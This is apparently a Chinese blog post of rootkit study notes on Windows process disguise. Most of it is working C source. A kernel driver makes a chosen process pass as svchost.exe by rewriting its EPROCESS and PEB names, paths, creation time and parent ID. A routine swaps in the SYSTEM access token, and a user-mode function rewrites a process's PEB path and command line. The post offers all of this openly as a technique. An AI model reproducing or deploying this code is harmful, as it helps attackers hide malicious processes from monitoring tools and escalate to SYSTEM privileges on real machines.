zoukankan      html  css  js  c++  java
  • [Rootkit]

    背景

    欺骗任务管理器等行为工具,"隐藏"进程的另一种方法。原理是修改 EPROCESS 中的成员。

    驱动层进程伪装

    以下代码来自:https://github.com/zhuhuibeishadiao/PathModification

    PathModification.h

    #ifndef _PATH_MODIFICATION_H_
    #define _PATH_MODIFICATION_H_ 1
    //NTSTATUS PsGetTarProcessInfo(HANDLE pid);
    //
    //BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName);
    //
    //BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName);
    //
    //BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName);
    //
    //BOOLEAN PathImageFileName(PEPROCESS Process, char* cName);
    //
    //BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName);
    
    BOOLEAN PathModification(HANDLE pid);
    #endif
    

    PathModification.c

    #include "pch.h"
    
    #pragma warning(disable: 4214)
    #pragma warning(disable: 4057)
    #pragma warning(disable: 4201)
    #pragma warning(disable: 4267)
    
    typedef struct _LDR_DATA_TABLE_ENTRY                         // 24 elements, 0xE0 bytes (sizeof) 
    {
        /*0x000*/     struct _LIST_ENTRY InLoadOrderLinks;                     // 2 elements, 0x10 bytes (sizeof)  
        /*0x010*/     struct _LIST_ENTRY InMemoryOrderLinks;                   // 2 elements, 0x10 bytes (sizeof)  
        /*0x020*/     struct _LIST_ENTRY InInitializationOrderLinks;           // 2 elements, 0x10 bytes (sizeof)  
        /*0x030*/     VOID*        DllBase;
        /*0x038*/     VOID*        EntryPoint;
        /*0x040*/     ULONG32      SizeOfImage;
        /*0x044*/     UINT8        _PADDING0_[0x4];
        /*0x048*/     struct _UNICODE_STRING FullDllName;                      // 3 elements, 0x10 bytes (sizeof)  
        /*0x058*/     struct _UNICODE_STRING BaseDllName;                      // 3 elements, 0x10 bytes (sizeof)  
    }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
    
    typedef struct _CURDIR              // 2 elements, 0x18 bytes (sizeof) 
    {
        /*0x000*/     struct _UNICODE_STRING DosPath; // 3 elements, 0x10 bytes (sizeof) 
        /*0x010*/     VOID*        Handle;
    }CURDIR, *PCURDIR;
    
    typedef struct _RTL_USER_PROCESS_PARAMETERS                // 30 elements, 0x400 bytes (sizeof) 
    {
        /*0x000*/     ULONG32      MaximumLength;
        /*0x004*/     ULONG32      Length;
        /*0x008*/     ULONG32      Flags;
        /*0x00C*/     ULONG32      DebugFlags;
        /*0x010*/     VOID*        ConsoleHandle;
        /*0x018*/     ULONG32      ConsoleFlags;
        /*0x01C*/     UINT8        _PADDING0_[0x4];
        /*0x020*/     VOID*        StandardInput;
        /*0x028*/     VOID*        StandardOutput;
        /*0x030*/     VOID*        StandardError;
        /*0x038*/     struct _CURDIR CurrentDirectory;                       // 2 elements, 0x18 bytes (sizeof)   
        /*0x050*/     struct _UNICODE_STRING DllPath;                        // 3 elements, 0x10 bytes (sizeof)   
        /*0x060*/     struct _UNICODE_STRING ImagePathName;                  // 3 elements, 0x10 bytes (sizeof)   
        /*0x070*/     struct _UNICODE_STRING CommandLine;                    // 3 elements, 0x10 bytes (sizeof)   
        /*0x080*/     VOID*        Environment;
        /*0x088*/     ULONG32      StartingX;
        /*0x08C*/     ULONG32      StartingY;
        /*0x090*/     ULONG32      CountX;
        /*0x094*/     ULONG32      CountY;
        /*0x098*/     ULONG32      CountCharsX;
        /*0x09C*/     ULONG32      CountCharsY;
        /*0x0A0*/     ULONG32      FillAttribute;
        /*0x0A4*/     ULONG32      WindowFlags;
        /*0x0A8*/     ULONG32      ShowWindowFlags;
        /*0x0AC*/     UINT8        _PADDING1_[0x4];
        /*0x0B0*/     struct _UNICODE_STRING WindowTitle;                    // 3 elements, 0x10 bytes (sizeof)   
        /*0x0C0*/     struct _UNICODE_STRING DesktopInfo;                    // 3 elements, 0x10 bytes (sizeof)   
        /*0x0D0*/     struct _UNICODE_STRING ShellInfo;                      // 3 elements, 0x10 bytes (sizeof)   
        /*0x0E0*/     struct _UNICODE_STRING RuntimeData;                    // 3 elements, 0x10 bytes (sizeof)   
    }RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
    
    
    typedef struct _PEB_LDR_DATA                            // 9 elements, 0x58 bytes (sizeof) 
    {
        /*0x000*/     ULONG32      Length;
        /*0x004*/     UINT8        Initialized;
        /*0x005*/     UINT8        _PADDING0_[0x3];
        /*0x008*/     VOID*        SsHandle;
        /*0x010*/     struct _LIST_ENTRY InLoadOrderModuleList;           // 2 elements, 0x10 bytes (sizeof) 
        /*0x020*/     struct _LIST_ENTRY InMemoryOrderModuleList;         // 2 elements, 0x10 bytes (sizeof) 
        /*0x030*/     struct _LIST_ENTRY InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof) 
        /*0x040*/     VOID*        EntryInProgress;
        /*0x048*/     UINT8        ShutdownInProgress;
        /*0x049*/     UINT8        _PADDING1_[0x7];
        /*0x050*/     VOID*        ShutdownThreadId;
    }PEB_LDR_DATA, *PPEB_LDR_DATA;
    
    
    typedef struct _PEB                                                                               // 91 elements, 0x380 bytes (sizeof) 
    {
        /*0x000*/     UINT8        InheritedAddressSpace;
        /*0x001*/     UINT8        ReadImageFileExecOptions;
        /*0x002*/     UINT8        BeingDebugged;
        union                                                                                         // 2 elements, 0x1 bytes (sizeof)    
        {
            /*0x003*/         UINT8        BitField;
            struct                                                                                    // 6 elements, 0x1 bytes (sizeof)    
            {
                /*0x003*/             UINT8        ImageUsesLargePages : 1;                                                 // 0 BitPosition                     
                /*0x003*/             UINT8        IsProtectedProcess : 1;                                                  // 1 BitPosition                     
                /*0x003*/             UINT8        IsLegacyProcess : 1;                                                     // 2 BitPosition                     
                /*0x003*/             UINT8        IsImageDynamicallyRelocated : 1;                                         // 3 BitPosition                     
                /*0x003*/             UINT8        SkipPatchingUser32Forwarders : 1;                                        // 4 BitPosition                     
                /*0x003*/             UINT8        SpareBits : 3;                                                           // 5 BitPosition                     
            };
        };
        /*0x008*/     VOID*        Mutant;
        /*0x010*/     VOID*        ImageBaseAddress;
        /*0x018*/     struct _PEB_LDR_DATA* Ldr;
        /*0x020*/     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
    }PEB, *PPEB;
    
    /*
    +0x2e0 ImageFileName    : [15]  "explorer.exe"
    0: kd> dt _SE_AUDIT_PROCESS_CREATION_INFO fffffa80037a7b30+0x390
    nt!_SE_AUDIT_PROCESS_CREATION_INFO
    +0x000 ImageFileName    : 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
    0: kd> dt 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
    nt!_OBJECT_NAME_INFORMATION
    +0x000 Name             : _UNICODE_STRING "DeviceHarddiskVolume1Windowsexplorer.exe"
    PEB ProcessParameters
    +0x060 ImagePathName    : _UNICODE_STRING "C:WindowsExplorer.EXE"
    +0x070 CommandLine      : _UNICODE_STRING "C:WindowsExplorer.EXE"
    +0x080 Environment      : 0x00000000`02932eb0 Void
    +0x088 StartingX        : 0
    +0x08c StartingY        : 0
    +0x090 CountX           : 0
    +0x094 CountY           : 0
    +0x098 CountCharsX      : 0
    +0x09c CountCharsY      : 1
    +0x0a0 FillAttribute    : 0x175
    +0x0a4 WindowFlags      : 1
    +0x0a8 ShowWindowFlags  : 1
    +0x0b0 WindowTitle      : _UNICODE_STRING "C:WindowsExplorer.EXE"
    +0x0c0 DesktopInfo      : _UNICODE_STRING "Winsta0Default"
    +0x0d0 ShellInfo        : _UNICODE_STRING "C:WindowsExplorer.EXE"
    InLoadOrderModuleList InMemoryOrderLinks是同一片内存区域(前者+0x10就是后者 只需要改一个地方就行 最好前者)
    */
    
    WCHAR* g_szTarSeAuditProcessName = NULL;
    WCHAR* g_szTarPebFullName = NULL;
    WCHAR* g_szTarPebBaseName = NULL;
    WCHAR* g_szTarFileObjectName = NULL;
    WCHAR* g_szTarPebCurrentDir = NULL;
    WCHAR* g_szTarWin10ImageFilePointerName = NULL; //offset 0x448
    LARGE_INTEGER g_TarCreateTime = { 0 };
    ULONG_PTR g_TarInheritedFromUniqueProcessId = 0;
    
    // 获取被伪装的进程的一些信息
    NTSTATUS PsGetTarProcessInfo(HANDLE pid)
    {
        // SE_AUDIT_PROCESS_CREATION_INFO
        // PEB ProcessParameters
        // PEB Ldr
        PPEB peb = NULL;
        PLDR_DATA_TABLE_ENTRY ldr = NULL;
        PEPROCESS Process = NULL;
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        PUNICODE_STRING SeAuditName = NULL;
        PUNICODE_STRING SelocateName = NULL;
        PFILE_OBJECT pFileObject = NULL;
    
        status = PsLookupProcessByProcessId(pid, &Process);
    
        if (!NT_SUCCESS(status))
            return status;
    
        g_TarCreateTime.QuadPart = PsGetProcessCreateTimeQuadPart(Process);
        g_TarInheritedFromUniqueProcessId = PsGetProcessInheritedFromUniqueProcessId(Process);
    
        if (*NtBuildNumber > 9600)
        {
            g_szTarWin10ImageFilePointerName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
            if (g_szTarWin10ImageFilePointerName == NULL)
                return STATUS_NO_MEMORY;
    
            RtlZeroMemory(g_szTarWin10ImageFilePointerName, KMAX_PATH * 2);
        }
    
        if (g_szTarPebBaseName == NULL)
            g_szTarPebBaseName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
    
        if (g_szTarPebFullName == NULL)
            g_szTarPebFullName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
    
        if (g_szTarSeAuditProcessName == NULL)
            g_szTarSeAuditProcessName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    
        if(g_szTarFileObjectName == NULL)
            g_szTarFileObjectName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    
        if (g_szTarPebCurrentDir == NULL)
            g_szTarPebCurrentDir = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    
        if (g_szTarPebBaseName && g_szTarPebFullName && g_szTarSeAuditProcessName && g_szTarFileObjectName && g_szTarPebCurrentDir)
        {
            RtlZeroMemory(g_szTarPebBaseName, MAX_PATH * 2);
            RtlZeroMemory(g_szTarPebFullName, MAX_PATH * 2);
            RtlZeroMemory(g_szTarSeAuditProcessName, KMAX_PATH * 2);
            RtlZeroMemory(g_szTarFileObjectName, KMAX_PATH * 2);
            RtlZeroMemory(g_szTarPebCurrentDir, KMAX_PATH * 2);
    
            if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
                return STATUS_UNSUCCESSFUL;
    
            ExFreePool(SelocateName);
    
            if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
                return STATUS_UNSUCCESSFUL;
    
            RtlCopyMemory(g_szTarFileObjectName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
    
            ObDereferenceObject(pFileObject);
    
            if (*NtBuildNumber > 9600)
            {
                pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer 
                if (!MmIsAddressValid(pFileObject))
                {
                    ObDereferenceObject(Process);
                    return STATUS_UNSUCCESSFUL;
                }
    
                RtlCopyMemory(g_szTarWin10ImageFilePointerName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
            }
    
            if(*NtBuildNumber < 9600)
                SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390)); // win7 offset 
            else
                SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468)); // win10 offset 14393 15063 16299
    
            if (!MmIsAddressValid(SeAuditName))
            {
                ObDereferenceObject(Process);
                return STATUS_UNSUCCESSFUL;
            }
    
            RtlCopyMemory(g_szTarSeAuditProcessName, SeAuditName->Buffer, SeAuditName->Length);
    
            peb = PsGetProcessPeb(Process);
    
            KeAttachProcess(Process);
    
            __try {
                RtlCopyMemory(g_szTarPebFullName, peb->ProcessParameters->ImagePathName.Buffer, peb->ProcessParameters->ImagePathName.Length);
                ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
                RtlCopyMemory(g_szTarPebBaseName, ldr->BaseDllName.Buffer, ldr->BaseDllName.Length);
                RtlCopyMemory(g_szTarPebCurrentDir, peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, peb->ProcessParameters->CurrentDirectory.DosPath.Length);
                status = STATUS_SUCCESS;
            }
            __except (1)
            {
            }
    
            KeDetachProcess();
    
        }
        else
        {
            status = STATUS_NO_MEMORY;
        }
    
        ObDereferenceObject(Process);
    
        return status;
    }
    
    BOOLEAN PathWin10ImageNamePoint(PEPROCESS Process, WCHAR* szFullName)
    {
        BOOLEAN bRet = FALSE;
        PFILE_OBJECT pFileObject = NULL;
        WCHAR* szNewFullName = NULL;
    
        if (szFullName == NULL || Process == NULL)
            return FALSE;
    
        szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
        if (szNewFullName == NULL)
            return FALSE;
    
        RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
    
        pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer 
    
        if (!MmIsAddressValid(pFileObject))
        {
            ExFreePool(szNewFullName);
            return FALSE;
        }
    
        if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
        {
            RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
            RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            ExFreePool(szNewFullName);
            bRet = TRUE;
        }
        else
        {
            RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Buffer = szNewFullName;
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
            bRet = TRUE;
        }
    
        return bRet;
    }
    
    BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName)
    {
        BOOLEAN bRet = FALSE;
        PFILE_OBJECT pFileObject = NULL;
        WCHAR* szNewFullName = NULL;
    
        if (szFullName == NULL || Process == NULL)
            return FALSE;
    
        szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
        if (szNewFullName == NULL)
            return FALSE;
    
        RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
    
        if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
            return FALSE;
    
        if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
        {
            RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
            RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            ExFreePool(szNewFullName);
            bRet = TRUE;
        }
        else
        {
            RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
            pFileObject->FileName.Buffer = szNewFullName;
            pFileObject->FileName.Length = wcslen(szFullName) * 2;
            pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
            bRet = TRUE;
        }
    
        ObDereferenceObject(pFileObject);
        return bRet;
    }
    
    BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName)
    {
        PPEB peb = NULL;
        BOOLEAN bRet = FALSE;
        BOOLEAN bAttach = FALSE;
        PLDR_DATA_TABLE_ENTRY ldr = NULL;
        if (Process == NULL || szFullName == NULL || szBaseName == NULL)
            return FALSE;
    
        do
        {
            peb = PsGetProcessPeb(Process);
    
            if (peb == NULL)
                break;
    
            KeAttachProcess(Process);
            bAttach = TRUE;
    
            __try {
                ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
    
                if (!MmIsAddressValid(ldr))
                    break;
    
                if (ldr->FullDllName.Length < wcslen(szFullName) * 2)
                    break;
    
                if (ldr->BaseDllName.Length < wcslen(szBaseName) * 2)
                    break;
    
                RtlZeroMemory(ldr->FullDllName.Buffer, ldr->FullDllName.MaximumLength);
                RtlCopyMemory(ldr->FullDllName.Buffer, szFullName, wcslen(szFullName) * 2);
    
                RtlZeroMemory(ldr->BaseDllName.Buffer, ldr->BaseDllName.MaximumLength);
                RtlCopyMemory(ldr->BaseDllName.Buffer, szBaseName, wcslen(szBaseName) * 2);
                bRet = TRUE;
            }
            __except (1)
            {
            }
    
        } while (FALSE);
    
        if (bAttach)
            KeDetachProcess();
    
        return bRet;
    }
    
    BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName)
    {
        BOOLEAN bRet = FALSE;
        BOOLEAN bAttach = FALSE;
        PPEB Peb = NULL;
    
        if (Process == NULL || szFullName == NULL)
            return FALSE;
    
        do
        {
            Peb = PsGetProcessPeb(Process);
    
            if (Peb == NULL)
                break;
    
            KeAttachProcess(Process);
            bAttach = TRUE;
    
            __try {
                if (Peb->ProcessParameters->ImagePathName.Length < wcslen(szFullName) * 2)
                    break;
    
                RtlZeroMemory(Peb->ProcessParameters->ImagePathName.Buffer, Peb->ProcessParameters->ImagePathName.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->ImagePathName.Buffer, szFullName, wcslen(szFullName) * 2);
    
                RtlZeroMemory(Peb->ProcessParameters->CommandLine.Buffer, Peb->ProcessParameters->CommandLine.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->CommandLine.Buffer, szFullName, wcslen(szFullName) * 2);
    
                if (Peb->ProcessParameters->WindowTitle.Length >= wcslen(szFullName) * 2)
                {
                    RtlZeroMemory(Peb->ProcessParameters->WindowTitle.Buffer, Peb->ProcessParameters->WindowTitle.MaximumLength);
                    RtlCopyMemory(Peb->ProcessParameters->WindowTitle.Buffer, szFullName, wcslen(szFullName) * 2);
                }
    
                if (Peb->ProcessParameters->ShellInfo.Length >= wcslen(szFullName) * 2)
                {
                    RtlZeroMemory(Peb->ProcessParameters->ShellInfo.Buffer, Peb->ProcessParameters->ShellInfo.MaximumLength);
                    RtlCopyMemory(Peb->ProcessParameters->ShellInfo.Buffer, szFullName, wcslen(szFullName) * 2);
                }
    
                if (Peb->ProcessParameters->CurrentDirectory.DosPath.Length >= wcslen(g_szTarPebCurrentDir) * 2)
                {
                    RtlZeroMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, Peb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
                    RtlCopyMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, g_szTarPebCurrentDir, wcslen(g_szTarPebCurrentDir) * 2);
                }
                bRet = TRUE;
            }
            __except (1)
            {
    
            }
    
        } while (FALSE);
    
        if(bAttach)
            KeDetachProcess();
    
        return bRet;
    }
    
    // 这里的ProcessName 为全路径 DeviceHarddiskVolume1Windowsexplorer.exe 这里使用GetTarProcessInfo去获取即可
    BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName)
    {
        PUNICODE_STRING Name = NULL;
        PUNICODE_STRING SelocateName = NULL;
    
        if (Process == NULL || ProcessName == NULL)
            return FALSE;
    
        if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
            return FALSE;
    
        ExFreePool(SelocateName);
    
        if(*NtBuildNumber < 9600)
            Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390));
        else
            Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468));
    
        if (!MmIsAddressValid(Name))
            return FALSE;
    
        if ((wcslen(ProcessName) * 2) > Name->Length)
        {
            return FALSE;
        }
    
        RtlZeroMemory(Name->Buffer, Name->MaximumLength);
        RtlCopyMemory(Name->Buffer, ProcessName, wcslen(ProcessName) * 2);
        Name->Length = wcslen(ProcessName) * 2;
        return TRUE;
    }
    
    // cName15字节的大小 分配内存时注意要大于15
    BOOLEAN PathImageFileName(PEPROCESS Process, char* cName)
    {
        char    szNameBuff[15] = { 0 };
        char*   szProcessBuff = NULL;
        size_t  cNamelen = 0;
    
        if (Process == NULL || cName == NULL)
            return FALSE;
    
        cNamelen = strlen(cName);
    
        RtlZeroMemory(szNameBuff, sizeof(szNameBuff));
        if(cNamelen > 15)
            RtlCopyMemory(szNameBuff, cName, sizeof(szNameBuff));
        else
            RtlCopyMemory(szNameBuff, cName, cNamelen);
        szProcessBuff = PsGetProcessImageFileName(Process);
        RtlZeroMemory(szProcessBuff, sizeof(szNameBuff));
        RtlCopyMemory(szProcessBuff, szNameBuff, sizeof(szNameBuff));
    
        return TRUE;
    }
    
    PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
    {
        //
        // To get an address of a token from the Token field in EPROCESS, the lowest
        // N bits where N is size of a RefCnt field needs to be masked.
        //
        // kd> dt nt!_EX_FAST_REF
        //   + 0x000 Object : Ptr64 Void
        //   + 0x000 RefCnt : Pos 0, 4 Bits
        //   + 0x000 Value  : Uint8B
        //
        ULONG_PTR Value = *(ULONG_PTR*)(Address);
        return (PACCESS_TOKEN)(Value & ((ULONG_PTR)(~0xf)));
    }
    
    BOOLEAN PathToken(PEPROCESS Process)
    {
        PACCESS_TOKEN CurrentToken = NULL;
        PACCESS_TOKEN SystemToken = NULL;
        BOOLEAN bRet = FALSE;
        CurrentToken = PsReferencePrimaryToken(Process);
        SystemToken = PsReferencePrimaryToken(PsInitialSystemProcess);
    
        for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80;
            Offset += sizeof(void *))
        {
            // Is this address stores token?
            ULONG_PTR TestAddress = (ULONG_PTR)Process + Offset;
            PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
            if (ProbableToken == CurrentToken)
            {
                // Found the field, replace the contents with the SYSTEM token
                PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
                *TokenAddress = SystemToken;
                bRet = TRUE;
                break;
            }
        }
        //ULONG_PTR TestAddress = (ULONG_PTR)Process + 0x358;
        //PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
        //if (ProbableToken == CurrentToken)
        //{
        //    // Found the field, replace the contents with the SYSTEM token
        //    PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
        //    *TokenAddress = SystemToken;
        //    bRet = TRUE;
        //}
    
        PsDereferencePrimaryToken(CurrentToken);
        PsDereferencePrimaryToken(SystemToken);
        return bRet;
    }
    
    BOOLEAN PathCreateTime(PEPROCESS Process)
    {
        ULONG offset = 0;
        offset = *(PULONG)((ULONG_PTR)PsGetProcessCreateTimeQuadPart + 3);
        if (offset)
        {
            *(LARGE_INTEGER*)((ULONG_PTR)Process + offset) = g_TarCreateTime;
            return TRUE;
        }
        return FALSE;
    }
    
    BOOLEAN PathInheritedFromUniqueProcessId(PEPROCESS Process)
    {
        ULONG offset = 0;
        offset = *(PULONG)((ULONG_PTR)PsGetProcessInheritedFromUniqueProcessId + 3);
        if (offset)
        {
            *(ULONG_PTR*)((ULONG_PTR)Process + offset) = g_TarInheritedFromUniqueProcessId;
            return TRUE;
        }
        return FALSE;
    }
    
    BOOLEAN PathModification(HANDLE pid)
    {
        HANDLE SvchostPid = NULL;
        PEPROCESS Process = NULL;
        //DbgBreakPoint();
    
        // 不支持x86进程
        if (!PsIs64BitProcess(pid))
            return FALSE;
    
        SvchostPid = (HANDLE)PsGetProcesIdBitByName("svchost.exe", TRUE);
    
        if (SvchostPid == NULL)
            return FALSE;
    
        if (!NT_SUCCESS(PsGetTarProcessInfo(SvchostPid)))
            return FALSE;
    
        if (!NT_SUCCESS(PsLookupProcessByProcessId(pid, &Process)))
            return FALSE;
    
        PathSeFileObject(Process, g_szTarFileObjectName);
    
        if (*NtBuildNumber > 9600)
            PathWin10ImageNamePoint(Process, g_szTarWin10ImageFilePointerName);
    
        PathImageFileName(Process, "svchost.exe");
    
        PathSeAuditProcessCreationInfo(Process, g_szTarSeAuditProcessName);
    
        PathPebProcessParameters(Process, g_szTarPebFullName);
    
        PathPebLdr(Process, g_szTarPebFullName, g_szTarPebBaseName);
    
        //PathToken(Process);
    
        PathCreateTime(Process);
    
        PathInheritedFromUniqueProcessId(Process);
    
        ObDereferenceObject(Process);
        return TRUE;
    }
    

    应用层进程伪装

    //************************************
        // 函数名:CHideDlg::DisguiseProcess
        // 返回类型:BOOL
        // 功能:    修改指定PEB中的路径和命令行信息, 实现进程伪装
        // 参数1:DWORD dwProcessId 需要伪装的程序的PID
        // 参数2:wchar_t *lpwszPath 伪装之后程序的路径
        //************************************
    BOOL CHideDlg::DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath)
    {
        // 打开进程获取句柄
        HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (NULL == hProcess)
        {
            MessageBox(_T("打开进程失败!"));
            return FALSE;
        }
    
        //定义函数指针变量
        typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
        PROCESS_BASIC_INFORMATION pbi = { 0 };
        PEB peb = { 0 };
        RTL_USER_PROCESS_PARAMETERS Param = { 0 };
        USHORT usCmdLen = 0;
        USHORT usPathLen = 0;
    
        // 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
        NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
            ::LoadLibrary(_T("ntdll.dll")), "NtQueryInformationProcess");
        if (NULL == NtQueryInformationProcess)
        {
            MessageBox(_T("获取NtQueryInformationProcess函数地址失败!"));
            return FALSE;
        }
    
        // 获取指定进程的基本信息
        NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
        if (!NT_SUCCESS(status))
        {
            MessageBox(_T("获取进程的基本信息失败!"));
            return FALSE;
        }
    
        // 获取指定进程基本信息结构中的PebBaseAddress
        //::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
        // 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间
        //::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
    
        // 修改指定PEB中的路径信息, 注意指针指向的是指定进程空间
        usPathLen = 2 + 2 * ::wcslen(lpwszPath);
        ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, &lpwszPath, sizeof(PWSTR), NULL);
        ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
        ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.MaximumLength, &usPathLen, sizeof(usPathLen), NULL);
    
        // 修改指定PEB中的命令行信息, 注意指针指向的是指定进程空间
        //usCmdLen = 2 + 2 * ::wcslen(lpwszPath);    
        ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Buffer, &lpwszPath,sizeof(PWSTR), NULL);
        ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Length, &usPathLen, sizeof(usPathLen), NULL);
    
    
        return TRUE;
    }
    

    许可协议: 文章中的代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章【均为原创】作品,转载请务必【添加出处】,您添加出处是我创作的动力!
  • 相关阅读:
    《Python自动化运维:技术与最佳实践》
    舍本求末的运维自动化技术热潮
    Policy Gradients
    Machine Learning Notes Ⅵ
    Machine Learning Notes Ⅴ
    Machine Learning Notes Ⅳ
    Machine Learning Notes Ⅲ
    Machine Learning Notes Ⅱ
    Machine Learning Notes Ⅰ
    在Linux系统中如何把文件拷贝到U盘
  • 原文地址:https://www.cnblogs.com/LyShark/p/15019031.html
Copyright © 2011-2022 走看看